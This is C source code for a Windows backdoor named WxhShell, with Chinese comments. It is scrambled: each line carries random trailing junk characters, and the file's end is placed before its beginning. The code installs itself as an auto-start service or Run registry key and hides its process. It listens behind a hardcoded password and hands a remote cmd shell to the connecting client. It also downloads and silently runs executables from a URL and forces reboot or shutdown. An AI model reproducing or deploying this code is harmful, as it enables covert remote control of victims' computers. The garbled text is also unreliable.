    if(Boot(SHUTDOWN)) h9,wiT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O}s*C$Xav  
    else { c _R)P,P  
    closesocket(wsh); ?v0A/68s#  
    ExitThread(0); 9q{dRS[A  
    } SQk!o{  
    break; d(XWt;KK  
    } VG^-aR_F  
  // 获取shell 4 XQ?By  
  case 's': { ~?r6Ax-R  
    CmdShell(wsh); \/Y<.#?_  
    closesocket(wsh); ?H?r!MZ%  
    ExitThread(0); mqw.v$>  
    break; =;T[2:JUu  
  } jnY4(B   
  // 退出 D bJ(N h  
  case 'x': { q[ZYlF,Ho  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "k/@tX1:R  
    CloseIt(wsh); * PPFk.#x  
    break; ZAwl,N){  
    } ER+[gT1CQ  
  // 离开 *UC^&5:  
  case 'q': { }S4Fy3)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tWuQKN`_  
    closesocket(wsh); $mlcaH  
    WSACleanup(); = '[@UVH(Z  
    exit(1); #s%$kYp 1  
    break; 8iRQPV-"_  
        } \D=B-dREq  
  } 9Wn0YIc  
  } zZ63 P  
"+AD+D  
  // 提示信息 3@PVUJ0B|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&MiO3#+  
} gqG"t@Y+  
  } t{9Ph]e  
uJizR F  
  return; y5I7pbe  
} :gXj( $  
_+i-)  
// shell模块句柄 9]iDNa/D  
int CmdShell(SOCKET sock) )I@iW\`7  
{ }V{, kK  
STARTUPINFO si;  I g`#U~  
ZeroMemory(&si,sizeof(si)); _" n4SXhq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $HRpG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i~4Kek6,I  
PROCESS_INFORMATION ProcessInfo; <[Vr(.A  
char cmdline[]="cmd"; D c^d$gh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `#hy'S:e  
  return 0; QnqX/vnR  
} b\?`721BG  
zI(Pti  
// 自身启动模式 "F^EfpcJ{9  
int StartFromService(void) 'EQAG' YV  
{ G} p~VLf  
typedef struct -v:Y\=[\  
{ cWi2Sls  
  DWORD ExitStatus; +{s^"M2`  
  DWORD PebBaseAddress; aPbHrk*/  
  DWORD AffinityMask; 5v]xk?Eb  
  DWORD BasePriority; I^o^@C  
  ULONG UniqueProcessId; Y9Pb  
  ULONG InheritedFromUniqueProcessId; (HEjmQjE  
}   PROCESS_BASIC_INFORMATION; '{|87kI  
',.Xn`c  
PROCNTQSIP NtQueryInformationProcess; m+L:\mvA  
ji1A>jepF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N7[~Y2i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [wEx jLW  
It4F;Ah  
  HANDLE             hProcess; - na]P3 s  
  PROCESS_BASIC_INFORMATION pbi; Gce![<|ph  
3TJNlS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fax73vl|^a  
  if(NULL == hInst ) return 0; 3[c54S+(U  
4)`{ L$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }5A?WH_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_)va#b#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q>|<R[.7  
 ;HW@ZI  
  if (!NtQueryInformationProcess) return 0; /rquI y^  
] `lTkh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (h E^<jNR  
  if(!hProcess) return 0; CzwnmSv{.  
wy7f7zIa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7,:QFV  
T3bBc  
  CloseHandle(hProcess); ec{pWzAe  
4kIy4x'*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (u~@@d"  
if(hProcess==NULL) return 0; lK{h%2A\b  
w|NLK  
HMODULE hMod; ,Q^.SHP8  
char procName[255]; rUlXx5f  
unsigned long cbNeeded; . 8k9yk  
R+P1 +5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d^ w6_  
DRal{?CH  
  CloseHandle(hProcess); L9@nx7D  
v&|o5om  
if(strstr(procName,"services")) return 1; // 以服务启动 mzDbw-#  
F6yMk%  
  return 0; // 注册表启动 3d[fP#NY7  
} Y\s@'UoVN  
BjSLbw-C  
// 主模块 wD4Kil=v  
int StartWxhshell(LPSTR lpCmdLine) "HlT-0F  
{ 0ZTT^2R  
  SOCKET wsl; t}+P|$[  
BOOL val=TRUE;  {ZB7,\  
  int port=0; N_wB  
  struct sockaddr_in door; FK<1SOE  
Z!DGCw  
  if(wscfg.ws_autoins) Install(); +hGr2%*0f  
OLTgBXh  
port=atoi(lpCmdLine); z`XX[9$qm  
] %pr1Ey  
if(port<=0) port=wscfg.ws_port; ("?V|  
"|`euxYV  
  WSADATA data; ^i:%0"[*^i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *6<<6f`(  
^O}`i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0F/o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^-Bx zOp  
  door.sin_family = AF_INET; "dQ02y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2M@,g8O+B=  
  door.sin_port = htons(port);  Jpm=V*P  
jnho *,X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $bOiP  
closesocket(wsl); x}B3h9]  
return 1; ^Y,nv,gYn  
} ^ZuwUuuf  
@L0xU??"|  
  if(listen(wsl,2) == INVALID_SOCKET) { ZMEU4?F  
closesocket(wsl); (ZSd7qH"  
return 1; #g=7fu{n:  
} #p$iWY>e~  
  Wxhshell(wsl); =S#9\W&6Q  
  WSACleanup(); z[|2od  
#83`T&Xw*  
return 0; "lLwgh;  
jzvrJ14  
} (P'{A>aHl0  
p4-UW;Xu  
// 以NT服务方式启动 z* k(` '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G{CKb{  
{ v9*31Jx  
DWORD   status = 0; ~ kwS`  
  DWORD   specificError = 0xfffffff; =hY9lxW  
ANWfRtiU#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z|bAZKSRYx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QlE]OAdB42  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FdGnNDl*e  
  serviceStatus.dwWin32ExitCode     = 0; |tN:o= 6  
  serviceStatus.dwServiceSpecificExitCode = 0; qf T71o(  
  serviceStatus.dwCheckPoint       = 0; Ua%;hI)j$  
  serviceStatus.dwWaitHint       = 0; 3FY87R   
>)^Q p-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z94#:jPmG  
  if (hServiceStatusHandle==0) return; Dr K@y8  
{ k>T*/  
status = GetLastError(); jZr"d*Y  
  if (status!=NO_ERROR) LIE5of  
{ G,!{Q''w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hh!4DHv   
    serviceStatus.dwCheckPoint       = 0; :lW8f~!  
    serviceStatus.dwWaitHint       = 0; b|pp}il  
    serviceStatus.dwWin32ExitCode     = status; Yz)+UF,  
    serviceStatus.dwServiceSpecificExitCode = specificError; y**YFQ*sc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9+#BU$*v  
    return; i0n u5kD+d  
  } ;F|8#! (  
',Y`\X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fe1XczB  
  serviceStatus.dwCheckPoint       = 0; ~jJF&*)  
  serviceStatus.dwWaitHint       = 0; f|6 Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \NTVg6>qN  
} @4G{L8Q}  
Dy&{PeE!  
// 处理NT服务事件,比如:启动、停止 H1c>3c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 068DC_  
{ {4{X`$  
switch(fdwControl) [gGo^^aW#  
{ cHC1l  
case SERVICE_CONTROL_STOP: M1=eS@  
  serviceStatus.dwWin32ExitCode = 0; V%'' GF   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3aw-fuuIb  
  serviceStatus.dwCheckPoint   = 0; h t3P@;  
  serviceStatus.dwWaitHint     = 0; s.^+y7$  
  { ,]tEh:QC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MxOIe|=&  
  } RR2M+vQ  
  return; @6M>x=n5  
case SERVICE_CONTROL_PAUSE: lS|F&I5j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fI,2l   
  break; O03F@v  
case SERVICE_CONTROL_CONTINUE: q'9;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d ATAH}r&  
  break; XVF!l>nE  
case SERVICE_CONTROL_INTERROGATE: /[5\T2GI   
  break; a4XK.[O  
}; P{HR='2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yfx?3  
} tr58J% Mu  
&oE'|^G  
// 标准应用程序主函数 {Y3:Y+2X3*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Un"z6*  
{ )X3 |[4R  
fZ(k"*\MZ  
// 获取操作系统版本 c_t7<  
OsIsNt=GetOsVer(); Bjh8uW G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8@ S@^C*F  
%XQJ!sC`  
  // 从命令行安装 ~R\ $Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9rIv-&7'm  
RBHU5]5  
  // 下载执行文件 oBs5xH7@-  
if(wscfg.ws_downexe) { nchpD@'t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e:K'e2  
  WinExec(wscfg.ws_filenam,SW_HIDE); JLj b'Bn  
} _;R#B`9Iu  
Jpy~5kS  
if(!OsIsNt) { !?sB=qo  
// 如果时win9x,隐藏进程并且设置为注册表启动 oN)I3wO$  
HideProc(); 8g=];@z  
StartWxhshell(lpCmdLine); y4VO\N!  
} Ff d4c  
else 11Uu5e!.  
  if(StartFromService()) W)^%/lAh  
  // 以服务方式启动 !=HxL-`j  
  StartServiceCtrlDispatcher(DispatchTable); @V&HE:P  
else {suQ"iv  
  // 普通方式启动 WR u/7$8  
  StartWxhshell(lpCmdLine); lk` |u$KPz  
$oJjgAxcZ  
return 0; qiq=v)  
} a p(PI?]X  
"Xl"H/3r  
k8i0`VY5Y  
3#aLCpVla  
=========================================== JxKd  
i~3\dp  
cEn|Q  
:;IZ|hU  
OB++5Wd  
Iu(]i?Y  
" %$bhg&}  
=$T[  
#include <stdio.h> n]nJ$u1u  
#include <string.h> -=n!k^?lK  
#include <windows.h> \?|^w.  
#include <winsock2.h> "`mG_qHI[  
#include <winsvc.h> xgtx5tg  
#include <urlmon.h> N7GZ'-t^Er  
'j?H >'t{  
#pragma comment (lib, "Ws2_32.lib") 4QYStDFe  
#pragma comment (lib, "urlmon.lib") aCi)icn$  
`uqe[u;`6  
#define MAX_USER   100 // 最大客户端连接数 &x4*YM h  
#define BUF_SOCK   200 // sock buffer iG"1~/U  
#define KEY_BUFF   255 // 输入 buffer JdUI:(  
BAG#YZB  
#define REBOOT     0   // 重启 A;e"_$yt8  
#define SHUTDOWN   1   // 关机 oW>e.}d!  
k4en/&  
#define DEF_PORT   5000 // 监听端口 n\$.6 _@x  
L+mHeS l  
#define REG_LEN     16   // 注册表键长度 #KuBEHr  
#define SVC_LEN     80   // NT服务名长度 :bCswgd[  
wzcv[C-x  
// 从dll定义API :H]MMe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #MviO!@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9`CJhu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \5a;_N[Ed  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HcV,r,>e  
Xi~I<&  
// wxhshell配置信息 I9nm$,i]7  
struct WSCFG { _s:5)  
  int ws_port;         // 监听端口 .R#<Q  
  char ws_passstr[REG_LEN]; // 口令 0Ag2zx  
  int ws_autoins;       // 安装标记, 1=yes 0=no tiR i_  
  char ws_regname[REG_LEN]; // 注册表键名 NFG~PZ`6R  
  char ws_svcname[REG_LEN]; // 服务名 0Ca/[_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H2+V1J=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ACI.{`SrQ=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @lqI,Ce5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zQB1C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +xU=7chA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y$fF"p G?  
/8,cF7XL*  
}; #8%~u+"N  
;0Ih:YY6  
// default Wxhshell configuration KB{/L5  
struct WSCFG wscfg={DEF_PORT, a,:Nlr3  
    "xuhuanlingzhe", aCyn9Y$=  
    1, 7p {2&YhB  
    "Wxhshell", 6rlM\k@!  
    "Wxhshell", xj5MKX{CJT  
            "WxhShell Service",  ~!e(e2  
    "Wrsky Windows CmdShell Service", Hx9lQ8  
    "Please Input Your Password: ", yJ(ITJE_Z  
  1, >/.Ae8I)  
  "http://www.wrsky.com/wxhshell.exe", |9)y<}c5oM  
  "Wxhshell.exe" /~g.j1g  
    }; JP]-a!5Ru  
g&/r =U  
// 消息定义模块 D&6.> wt .  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;F/s!bupCM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +@do<2l]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cejD(!MKe  
char *msg_ws_ext="\n\rExit."; Tq%##  
char *msg_ws_end="\n\rQuit."; )<T2J0*  
char *msg_ws_boot="\n\rReboot..."; ,!98V Jmr  
char *msg_ws_poff="\n\rShutdown..."; 3IoN.  
char *msg_ws_down="\n\rSave to "; Ft@ZK!'@  
f=>ii v  
char *msg_ws_err="\n\rErr!"; 4@@gC&:Y  
char *msg_ws_ok="\n\rOK!"; CSr2\ogT  
fA8 ,wy|>  
char ExeFile[MAX_PATH]; C-8@elZ1  
int nUser = 0; J? C"be=  
HANDLE handles[MAX_USER]; (j(6%U  
int OsIsNt; sS._N@f  
LVSJK.B  
SERVICE_STATUS       serviceStatus; .L}ar7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qg_=5s  
m 9r X  
// 函数声明 +7=3[K  
int Install(void); Z',pQ{rD  
int Uninstall(void); gD-<^Q-  
int DownloadFile(char *sURL, SOCKET wsh); @sP?@< C  
int Boot(int flag); !^y'G0  
void HideProc(void); *cf#:5Nl  
int GetOsVer(void); =cxjb,r  
int Wxhshell(SOCKET wsl); u BvN*LQ  
void TalkWithClient(void *cs); "bJWyUb  
int CmdShell(SOCKET sock); 7a2 uNt,X  
int StartFromService(void); 8q_nOGd  
int StartWxhshell(LPSTR lpCmdLine); yJ?6BLJi  
-LUKYGBK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Wf 2m6t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q%nWBmPZ~y  
W_%Dg]l   
// 数据结构和表定义 06ZyR@.@v  
SERVICE_TABLE_ENTRY DispatchTable[] = X4gs{kx}|  
{ opd^|xx0  
{wscfg.ws_svcname, NTServiceMain}, ZjWI~"]  
{NULL, NULL} y6f YNB  
}; +ps(9O/B>  
Y-v6xUc{F  
// 自我安装 C-&\qAo?<:  
int Install(void) A\LMmg  
{ >o.4sN@  
  char svExeFile[MAX_PATH]; NSZ9M%7  
  HKEY key; cJMp`DQzc  
  strcpy(svExeFile,ExeFile); W2'u]1bs  
`Ps&N^[  
// 如果是win9x系统,修改注册表设为自启动 S/V%<<[>p]  
if(!OsIsNt) { wZ0RI{)s'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 Qln|b8<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y2cYRHN[X}  
  RegCloseKey(key); |cs]98FEf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jBb:)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @cukoLAn  
  RegCloseKey(key); -e(e;e  
  return 0; MR}=tO  
    } #ozui-u>  
  } )\Am:?RH;  
} Y'*oW+K  
else { ]jjHIFX  
E%LUJx}  
// 如果是NT以上系统,安装为系统服务 R.(PZCvS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xa8;"Y~"bg  
if (schSCManager!=0) FF#T"y0Y  
{ 7H.3.j(L  
  SC_HANDLE schService = CreateService >cJix 1  
  ( - ({h @  
  schSCManager, $+w:W85B  
  wscfg.ws_svcname, /*P) C'_M  
  wscfg.ws_svcdisp, 2)hfYLi  
  SERVICE_ALL_ACCESS, ,Wv+Ek  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z;DNl#|!L  
  SERVICE_AUTO_START, :er(YWF:  
  SERVICE_ERROR_NORMAL, LY-,cXm&|  
  svExeFile, 1%ENgb:8  
  NULL, ijP `fM8  
  NULL, e.\dqt~%y  
  NULL, 8yk7d76Y  
  NULL, D%L^[|)c\s  
  NULL ,.Lwtp,n  
  ); > a;iX.K  
  if (schService!=0) gFqF&t  
  { @Bds0t  
  CloseServiceHandle(schService); /yHjd s  
  CloseServiceHandle(schSCManager); 4_kY^"*#"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =^1jVaAL  
  strcat(svExeFile,wscfg.ws_svcname); [Do^EJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  & .0A%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `Fie'[F5,)  
  RegCloseKey(key); -L +kt_>  
  return 0; "AU.Eh"-1  
    } "iTjiH)Q(  
  } ?5FlbiT  
  CloseServiceHandle(schSCManager); LN~mKoW  
} (<YBvpt4>  
} {CV+1kz  
M!+J[q  
return 1; E*O($tS  
} 3m= _a  
,A'| Z  
// 自我卸载 -'Ay(h   
int Uninstall(void) /v^ '5j1o  
{ jYi,oE  
  HKEY key; ]XU4nNi  
{.542}A  
if(!OsIsNt) { UAPd["`)y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G&xtL  
  RegDeleteValue(key,wscfg.ws_regname); +}O -WX?  
  RegCloseKey(key); 0KnL{Cj   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ("\{=XA Q  
  RegDeleteValue(key,wscfg.ws_regname); Mh*r)B~%[  
  RegCloseKey(key); <Xl#}6II  
  return 0; o!:Z?.!  
  } pd:7K'yaw  
} )O"E#%  
} @Wc5r#  
else { ss[`*89  
#m,H1YH M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ux7LN @4og  
if (schSCManager!=0) Iz1x|EQ  
{ (B>/LsTu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b%0p<*:a/  
  if (schService!=0) [K&%l]P7  
  { 6LBdTnzUd  
  if(DeleteService(schService)!=0) { ]:OrGD"  
  CloseServiceHandle(schService); uX*2Rs$s  
  CloseServiceHandle(schSCManager); S[1<Qrv]  
  return 0; Q]YB.n3   
  } lG)wa  
  CloseServiceHandle(schService); 4p,:}h  
  } ^FKiVKI:  
  CloseServiceHandle(schSCManager); +b(};(wL  
} -NXxxK  
} 3]l)uoNt/  
{1)A"lQu  
return 1; rZKfb}ANQ  
} ^+SE_-+]  
WeM38&dWY  
// 从指定url下载文件 hyH[`wiq  
int DownloadFile(char *sURL, SOCKET wsh) =vbG'_[7  
{ .\ ;'>qy  
  HRESULT hr; {Sf[<I  
char seps[]= "/"; KLyRb0V  
char *token; {V6&((E8  
char *file; t>[W]%op  
char myURL[MAX_PATH]; m\56BP-AM  
char myFILE[MAX_PATH]; GGp.u@\r  
=6u@ JpOl  
strcpy(myURL,sURL); (9Zvr4.f7  
  token=strtok(myURL,seps); Vh^y6U<  
  while(token!=NULL) M7TLQqaF  
  { *%Rmdyn  
    file=token; w\)K0RN  
  token=strtok(NULL,seps); Cz0FA]-g  
  } w:t~M[kTW  
)2&3D"V  
GetCurrentDirectory(MAX_PATH,myFILE); 0$*7lQ<a#M  
strcat(myFILE, "\\"); *'>_XX  
strcat(myFILE, file); geme_  
  send(wsh,myFILE,strlen(myFILE),0); Vu3DP+u|i  
send(wsh,"...",3,0); *?FVLE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6KMO*v  
  if(hr==S_OK) |J-X3`^\H  
return 0; <Ht"t]u*Bn  
else ~*HQPp?v  
return 1; iXDG-_K  
W/qXQORv  
} ], lLD UZ\  
'H5 30Y\  
// 系统电源模块 danPy2  
int Boot(int flag) /6 ')B !&  
{ e9{ii2M  
  HANDLE hToken; q`9.@u@a  
  TOKEN_PRIVILEGES tkp; X q?>a+B  
_%e8GWf  
  if(OsIsNt) { #_DpiiS,.Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sY;h~a0n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $|~ <6A{y  
    tkp.PrivilegeCount = 1; ,X|Oe@/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G"/;Cq=t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9hzu!}~'I  
if(flag==REBOOT) { r8EJ@pOF2w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]64Pk9z=  
  return 0; Gdow[x  
} |/Vq{gxp+  
else { k=s^-Eiu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y!b"Cj  
  return 0; <f>77vh0  
} {8m&Z36E  
  } =Zj 7dn;EN  
  else { #:?:gY<  
if(flag==REBOOT) { u`XRgtI{g?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nw"df=,{  
  return 0; 2 5~Z%_?  
} %e:+@%]  
else { sVh)Ofn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WO>,=^zPJ  
  return 0; b$@I(.X:  
} L(3&,!@  
} p*<Jg l  
>#h,q|B  
return 1; .rBU"Rbo  
} H,D5)1Uu  
|sGJum&=  
// win9x进程隐藏模块 6w%n$tiX  
void HideProc(void) LVUA"'6V  
{ f/dJRcDl<  
ozY$}|sjDT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '-"[>`[q  
  if ( hKernel != NULL ) N8nt2r<h  
  { :Quep-:fy<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _OGv2r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _)j\ b  
    FreeLibrary(hKernel); N_92,xI#  
  } k{r<S|PK0  
T'6`A<`3  
return; 6?x F!VIL  
} O1\4WG%  
6D| F1UFU  
// 获取操作系统版本 \dQc!)&C9  
int GetOsVer(void) s/ABT.ZO  
{ <<-L,0  
  OSVERSIONINFO winfo; /S J><  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v{$?Ow T/u  
  GetVersionEx(&winfo); ;HCK iHC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r], %:imGr  
  return 1; qMEd R;o  
  else 8GBKFNR 8  
  return 0; Hya.OW{  
} -0xo6'mD  
1>[#./@  
// 客户端句柄模块 *04}84?:  
int Wxhshell(SOCKET wsl) zf8SpQ2~  
{ g}R#0gkdk}  
  SOCKET wsh; V0D&bN*  
  struct sockaddr_in client; +8xT}mX  
  DWORD myID; PCwc=  
6&]Z'nW0k  
  while(nUser<MAX_USER) >!qtue7B  
{ =?W7OV^BE  
  int nSize=sizeof(client); [*u\S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :ek^M (  
  if(wsh==INVALID_SOCKET) return 1; db_Qt'>  
v5@4 |u3ds  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^>%.l'1/(  
if(handles[nUser]==0) ]O}e{Q>  
  closesocket(wsh); 9{3_2CIL  
else `oe=K{aX  
  nUser++; 'DXT7|Df  
  } ,){#J"W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UUDbOxD^w  
P(yLRc  
  return 0; >VZxDJ$R  
} EZ>(}  
&u^]YE{  
// 关闭 socket qi/k`T  
void CloseIt(SOCKET wsh) ysi=}+F.  
{ > dVhIbG  
closesocket(wsh); gFuK/]gzI  
nUser--; #5h_{q4l  
ExitThread(0); Kg~D~ +j  
} A",}Ikh='`  
uX!6: v]  
// 客户端请求句柄 u(yN81  
void TalkWithClient(void *cs) Lj|wFV  
{ LmyaC2  
fe<7D\Sp@  
  SOCKET wsh=(SOCKET)cs; (Z @dz  
  char pwd[SVC_LEN]; i `f!)1  
  char cmd[KEY_BUFF]; $DfK}CT  
char chr[1]; wbOYtN Y@  
int i,j; PX?%}~ v  
'\d ldg#P  
  while (nUser < MAX_USER) { Lp"OXJ*es  
d 4tL  
if(wscfg.ws_passstr) { @D*PO-s9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )uAY_()/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R}w}G6"\  
  //ZeroMemory(pwd,KEY_BUFF); qT$IV\;_  
      i=0; d3\?:}o,  
  while(i<SVC_LEN) { 49>b]f,Vc  
R+ \%  
  // 设置超时 EKcPJ\7  
  fd_set FdRead; yKrb GK*=_  
  struct timeval TimeOut; {hOS0).(w7  
  FD_ZERO(&FdRead); rZ+4kf6S   
  FD_SET(wsh,&FdRead); :4)x  
  TimeOut.tv_sec=8; E<tR8='F  
  TimeOut.tv_usec=0; 6q'Q ?Uw^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0+1!-Wo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vb#a ,t  
n6,YA2yZO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T<>B5G~%  
  pwd=chr[0]; {T^D&i# o  
  if(chr[0]==0xd || chr[0]==0xa) { T=~d. &J  
  pwd=0; N2 3:+u<)E  
  break; gCsN\z  
  } <]%6x[  
  i++; iex%$> "  
    } Jb$G  
ng|^Zm%   
  // 如果是非法用户,关闭 socket B_[I/ ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MC,Qv9m  
} Y)lr+~84f  
gQSVPbzK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2`;XcY4A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SD*q+Si,1U  
<X{w^ cT_Q  
while(1) { l,Y5VGiH#  
#6#n4`%ER  
  ZeroMemory(cmd,KEY_BUFF); r{d@74  
hTO 2+F*  
      // 自动支持客户端 telnet标准   P}a$#a'!  
  j=0; -le^ 5M7  
  while(j<KEY_BUFF) { RuVk>(?WK%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VfJ{);   
  cmd[j]=chr[0]; Y R~e_cA:  
  if(chr[0]==0xa || chr[0]==0xd) { 1;kMbl]  
  cmd[j]=0; EI?8/c  
  break; :, v(l q  
  } 9&zR i  
  j++; ?&,6Y'"  
    } a]P%Y.? r  
:epB:r  
  // 下载文件  (t5y$b c  
  if(strstr(cmd,"http://")) { WdS1v%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A0A|cJP  
  if(DownloadFile(cmd,wsh)) ]Z\W%'q+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oF+yh!~mM  
  else E$:2AK{*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Js_d  
  } ?(B}w*G~  
  else { or;VmU8$zb  
